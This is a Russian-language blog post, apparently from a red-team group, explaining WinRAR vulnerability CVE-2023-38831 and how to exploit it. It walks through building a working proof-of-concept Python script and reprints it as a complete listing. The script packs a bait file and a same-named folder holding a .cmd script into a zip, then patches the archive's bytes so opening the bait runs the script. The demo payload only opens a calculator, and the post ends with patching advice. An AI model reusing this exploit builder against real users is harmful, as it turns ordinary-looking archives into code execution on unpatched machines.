{"id":369578,"date":"2024-05-21T04:06:38","date_gmt":"2024-05-21T04:06:38","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=369578"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=369578","title":{"rendered":"<span>WinRAR CVE-2023-38831<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<blockquote>\n<p> \u0414\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. Red Team \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e &#171;GISCYBERTEAM&#187; \u043d\u0435 \u043d\u0435\u0441\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043b\u044e\u0431\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0440\u0435\u0442\u044c\u0438\u043c\u0438 \u043b\u0438\u0446\u0430\u043c\u0438.  <\/p>\n<\/blockquote>\n<h3>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h3>\n<p>10 \u0438\u044e\u043b\u044f 2023 \u0433\u043e\u0434\u0430 \u043f\u0440\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0442\u0440\u043e\u044f\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c DarkMe, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 \u0438\u0437 Group-IB \u0431\u044b\u043b\u0430 <a href=\"https:\/\/www.group-ib.com\/blog\/cve-2023-38831-winrar-zero-day\/\" rel=\"noopener noreferrer nofollow\">\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430<\/a> \u0440\u0430\u043d\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 WinRAR, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043a\u0430\u0441\u0430\u043b\u0430\u0441\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 zip-\u0430\u0440\u0445\u0438\u0432\u043e\u0432. \u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-38831\" rel=\"noopener noreferrer nofollow\">CVE-2023-38831<\/a>. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 Group-IB, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0442\u0440\u0435\u0439\u0434\u0435\u0440\u0441\u043a\u0438\u0445 \u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u0441 \u0430\u043f\u0440\u0435\u043b\u044f 2023 \u0433\u043e\u0434\u0430. \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u044b\u0432\u043e\u0434\u0438\u043b\u0438 \u0434\u0435\u043d\u044c\u0433\u0438 \u0441 \u0431\u0440\u043e\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0441\u0447\u0435\u0442\u043e\u0432 \u0436\u0435\u0440\u0442\u0432. \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f, \u0432 \u0447\u0435\u043c \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043a\u0430\u043a \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c.<\/p>\n<h3>\u042d\u0442\u0430\u043f\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438<\/h3>\n<p>\u0421\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0435\u043b\u0438\u0442\u0441\u044f \u043d\u0430 \u0434\u0432\u0430 \u044d\u0442\u0430\u043f\u0430:<\/p>\n<ol>\n<li>\n<p>\u0416\u0435\u0440\u0442\u0432\u0430 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043d\u0430 \u0444\u0430\u0439\u043b-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443.<\/p>\n<\/li>\n<li>\n<p>\u0421\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d \u0432 \u043e\u0434\u043d\u043e\u0438\u043c\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0435.<\/p>\n<\/li>\n<\/ol>\n<h3>\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438<\/h3>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0430\u0436\u043c\u0435\u0442 \u043d\u0430 \u0444\u0430\u0439\u043b, WinRar \u043f\u0440\u043e\u0439\u0434\u0451\u0442 \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u0432 zip-\u0444\u0430\u0439\u043b\u0435, \u0441\u0440\u0430\u0432\u043d\u0438\u0442 dir_entry->name (dir_entry \u0437\u0434\u0435\u0441\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0441\u043e\u0431\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0430 name &#8212; \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438) \u0441 click_name (\u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0449\u0435\u043b\u043a\u043d\u0443\u043b\u0438).<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2e8\/cb4\/eff\/2e8cb4eff105894ac6cbd33e98125e67.png\" width=\"2000\" height=\"907\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2e8\/cb4\/eff\/2e8cb4eff105894ac6cbd33e98125e67.png\"\/><\/figure>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u043b\u0438\u043d\u0430 \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0440\u0430\u0432\u043d\u0430 \u0434\u043b\u0438\u043d\u0435 click_name, \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0442\u0438\u043f\u0430 <code>\"bait_file.pdf \"<\/code>\u0438 <code>\"bait_file.pdf \\\\\\\\bait_file.pdf .cmd \"<\/code>\u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443, \u0435\u0441\u043b\u0438 \u0432 \u0430\u0440\u0445\u0438\u0432\u0435 \u0435\u0441\u0442\u044c \u043f\u0430\u043f\u043a\u0430 \u0441 \u0442\u0435\u043c \u0436\u0435 \u0438\u043c\u0435\u043d\u0435\u043c, \u0447\u0442\u043e \u0438 \u0443 \u0444\u0430\u0439\u043b\u0430, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0449\u0435\u043b\u043a\u043d\u0443\u043b\u0438, \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0432\u0435\u0440\u043d\u0435\u0442 1, \u0447\u0442\u043e\u0431\u044b \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435. \u0412\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0444\u0430\u0439\u043b <code>.cmd<\/code> \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 pdf-\u0444\u0430\u0439\u043b\u043e\u043c \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u044b \u0432 TEMP-\u043f\u0430\u043f\u043a\u0443.<\/p>\n<p>\u041d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u0439 \u0432\u044b\u0448\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0444\u0430\u0439\u043b\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e ShellExecuteExW.<\/p>\n<p>\u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c WinRAR \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c .cmd \u0444\u0430\u0439\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<ol>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043f\u0430\u043f\u043a\u0443 \u0441 \u0442\u0435\u043c \u0436\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c, \u0447\u0442\u043e \u0438 \u043d\u0430\u0448 \u0444\u0430\u0439\u043b-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0412 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0435 \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442-\u0444\u0430\u0439\u043b \u0441 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u0447\u0442\u043e \u0438 \u0443 \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438, \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0432 \u043a\u043e\u043d\u0435\u0446 <code>.cmd.<\/code><\/p>\n<\/li>\n<li>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e ShellExecuteExW \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u043d \u043f\u043e\u043c\u0438\u043c\u043e \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438, \u0444\u0430\u0439\u043b <code>bait_file.pdf .cmd.<\/code><\/p>\n<\/li>\n<\/ol>\n<blockquote>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0446\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0431\u0435\u043b!<\/p>\n<\/blockquote>\n<h3>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430<\/h3>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430, \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 bat-\u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f:<\/p>\n<pre><code>calc &amp;  bait_file.pdf<\/code><\/pre>\n<p>\u041f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043e\u0442\u043a\u0440\u043e\u0435\u0442\u0441\u044f \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440 \u0438 \u0441\u0430\u043c pdf-\u0444\u0430\u0439\u043b.<\/p>\n<p>\u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438:<\/p>\n<pre><code class=\"python\">import shutil  import os, sys  from os.path import join  import argparse<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0443\u0436\u0438\u0442\u044c \u0434\u043b\u044f \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0437\u0436\u0435 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043f\u0430\u0440\u0441\u0435\u0440 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432:<\/p>\n<pre><code class=\"python\">TEMPLATE_NAME = 'tmp' parser = argparse.ArgumentParser(description='PoC of CVE-2023-38831') parser.add_argument('--bait_name', dest='bait_name', help='\u0418\u043c\u044f pdf-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438') parser.add_argument('--script_name', dest='script_name', help='\u0418\u043c\u044f \u0441\u043a\u0440\u0438\u043f\u0442-\u0444\u0430\u0439\u043b\u0430') parser.add_argument('--output', dest='output_name', help='\u0418\u043c\u044f \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430') args = parser.parse_args() bait_name = args.bait_name script_name = args.script_name output_name = args.output_name<\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u043f\u0430\u043f\u043a\u0443, \u0437\u0430\u043a\u0438\u0434\u044b\u0432\u0430\u0435\u043c \u0442\u0443\u0434\u0430 \u0444\u0430\u0439\u043b\u044b \u0438 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0443\u0435\u043c:<\/p>\n<pre><code class=\"python\">if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = join(TEMPLATE_NAME, bait_name + \"A\") if not os.path.exists(d): os.mkdir(d) shutil.copyfile(join(script_name), join(d, bait_name+\"A.cmd\")) shutil.copyfile(join(bait_name), join(TEMPLATE_NAME, bait_name+\"B\")) shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)<\/code><\/pre>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0430\u0440\u0445\u0438\u0432:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e15\/55b\/e82\/e1555be8250d63e7a48f58d0f65ea043.png\" width=\"1250\" height=\"542\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e15\/55b\/e82\/e1555be8250d63e7a48f58d0f65ea043.png\"\/><\/figure>\n<p>\u0422.\u0435. \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0444\u0430\u0439\u043b-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430 bait_file.pdfB \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 bait_file.pdfA \u0441 \u0444\u0430\u0439\u043b\u043e\u043c bait_file.pdfA.cmd.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0443\u0436\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0430\u0440\u0445\u0438\u0432\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0448 pdf-\u0444\u0430\u0439\u043b \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043d\u0430\u0437\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e. \u0428\u0442\u0430\u0442\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f, \u0442\u0430\u043a \u043a\u0430\u043a \u0431\u0443\u0434\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0430 \u201c\u0424\u0430\u0439\u043b \u0441 \u0442\u0430\u043a\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\u201d. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043f\u043e\u0441\u0442\u0443\u043f\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043e\u0442\u043a\u0440\u043e\u0435\u043c zip-\u0444\u0430\u0439\u043b \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u2018rb\u2019 (\u0447\u0442\u0435\u043d\u0438\u0435 \u0431\u0430\u0439\u0442\u043e\u0432), \u0437\u0430\u043c\u0435\u043d\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435, \u0438 \u0437\u0430\u043f\u0438\u0448\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u2018wb\u2019:<\/p>\n<pre><code class=\"python\">with open(TEMPLATE_NAME + \".zip\", \"rb\") as f: content = f.read() content = content.replace(bait_name + b\"A\", bait_name + b\" \") content = content.replace(bait_name + b\"B\", bait_name + b\" \") os.remove(TEMPLATE_NAME + \".zip\") with open(output_name, \"wb\")  as f: f.write(content)<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0435\u0440\u0435\u0434\u0430\u0434\u0438\u043c \u044d\u0442\u043e\u0442 \u0430\u0440\u0445\u0438\u0432 \u043d\u0430 windows-\u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044c pdf-\u0444\u0430\u0439\u043b \u0432 winrar:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e7e\/6c5\/919\/e7e6c591951ac87d4f0c456b1957ac6f.png\" width=\"2000\" height=\"1491\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e7e\/6c5\/919\/e7e6c591951ac87d4f0c456b1957ac6f.png\"\/><\/figure>\n<p>\u0412\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0443 \u043d\u0430\u0441 \u043e\u0442\u043a\u0440\u044b\u043b\u0441\u044f \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440 \u0438 \u0441\u0430\u043c pdf-\u0444\u0430\u0439\u043b, \u0442.\u0435. \u043d\u0430\u0448 \u0441\u043a\u0440\u0438\u043f\u0442-\u0444\u0430\u0439\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e.<\/p>\n<p>\u041f\u043e\u043b\u043d\u044b\u0439 \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430:<\/p>\n<pre><code class=\"python\">import shutil import os, sys from os.path import join import argparse TEMPLATE_NAME = 'tmp' parser = argparse.ArgumentParser(description='PoC of CVE-2023-38831') parser.add_argument('--bait_name', dest='bait_name', help='\u0418\u043c\u044f pdf-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438') parser.add_argument('--script_name', dest='script_name', help='\u0418\u043c\u044f \u0441\u043a\u0440\u0438\u043f\u0442-\u0444\u0430\u0439\u043b\u0430') parser.add_argument('--output', dest='output_name', help='\u0418\u043c\u044f \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430') args = parser.parse_args() bait_name = args.bait_name script_name = args.script_name output_name = args.output_name if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = join(TEMPLATE_NAME, bait_name + \"A\") if not os.path.exists(d): os.mkdir(d) shutil.copyfile(join(script_name), join(d, bait_name+\"A.cmd\")) shutil.copyfile(join(bait_name), join(TEMPLATE_NAME, bait_name+\"B\")) shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME) bait_extension = b\".\" + bait_name.split(\".\")[-1].encode(\"utf-8\") print(bait_extension) with open(TEMPLATE_NAME + \".zip\", \"rb\") as f: content = f.read() content = content.replace(bait_extension + b\"A\", bait_extension + b\" \") content = content.replace(bait_extension + b\"B\", bait_extension + b\" \") os.remove(TEMPLATE_NAME + \".zip\") with open(output_name, \"wb\")  as f: f.write(content)<\/code><\/pre>\n<p>\u0422\u0430\u043a\u0436\u0435, \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0432\u0438\u0434\u0430\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, txt, png, jpg.<\/p>\n<h3>\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438<\/h3>\n<p>\u041a \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 WinRAR &lt; <a href=\"https:\/\/www.win-rar.com\/singlenewsview.html?&amp;L=0&amp;tx_ttnews%5Btt_news%5D=232&amp;cHash=c5bf79590657e32554c6683296a8e8aa\" rel=\"noopener noreferrer nofollow\">6.23<\/a>. \u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0438\u0442\u044c \u0441\u0435\u0431\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0421\u0430\u043c\u0443\u044e \u0441\u0432\u0435\u0436\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043f\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 <a href=\"https:\/\/www.rarlab.com\/download.htm\" rel=\"noopener noreferrer nofollow\">\u0441\u0441\u044b\u043b\u043a\u0435<\/a>.<\/p>\n<p><em>\u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u043d\u0430 \u043d\u0430\u0448 Telegram-\u043a\u0430\u043d\u0430\u043b\u00a0<\/em><a href=\"https:\/\/t.me\/giscyberteam\" rel=\"noopener noreferrer nofollow\"><em>https:\/\/t.me\/giscyberteam<\/em><\/a>  <\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/797127\/\"> https:\/\/habr.com\/ru\/articles\/797127\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<blockquote>\n<p> \u0414\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f 